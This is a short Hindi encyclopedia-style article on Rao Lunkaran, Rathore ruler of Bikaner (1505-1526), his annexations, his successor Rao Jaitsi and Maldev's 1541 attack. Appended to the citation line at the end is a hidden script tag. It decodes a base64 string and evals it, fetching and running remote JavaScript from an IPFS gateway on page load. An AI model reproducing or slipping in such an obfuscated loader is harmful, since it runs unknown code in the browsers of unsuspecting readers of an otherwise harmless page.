राव लुणकरण

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राव लुणकरण (1505-1526 ई.) बीकानेर, राजस्थान का राठौड़ शासक था। वह राव नरा की मृत्यु के बाद बीकानेर का शासक बना। उसने डीडवाणा, सिघांणा व बांगड़ प्रदेश को अपने प्रदेश में मिला लिया था।

  • वह भी अपने पिता राव नरा की तरह ही वीर और प्रजापालक था। उसे "बीकानेर के करण" के नाम से भी जाना जाता है।
  • बीठू सुजा ने अपने ग्रन्थ 'राव जेतसी रो छन्द' में लुणकरण की दानशीलता का उल्लेख किया है।
  • लुणकरण की मृत्यु के बाद उसका पुत्र राव जैतसिंह बीकानेर का शासक बना, जिसने गंगाणी के युद्ध में जोधपुर के शासक राव गागासिंह की मदद की।
  • जोधपुर के शासक राव मालदेव ने 1541 ई. में अपनी विस्तारवादी व महत्त्वकांक्षी नीति के तहत बीकानेर पर आक्रमण कर दिया। राव जैतसी पाहिबा-सौहुए के युद्ध में वीरगति को प्राप्त हुआ व मालदेव ने यहाँ का प्रशासन सेनापति कूंपा को सौंप दिया। यह पहला अवसर था, जब दोनों रियासतों के मध्य युद्ध हुआ। इससे पहले ये सामूहिक रूप से प्रतिकार करते थे।[1]


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टीका टिप्पणी और संदर्भ

  1. बीकानेर के राठौड़ (हिन्दी) historicalsaga.com। अभिगमन तिथि: 03 फ़रवरी, 2017।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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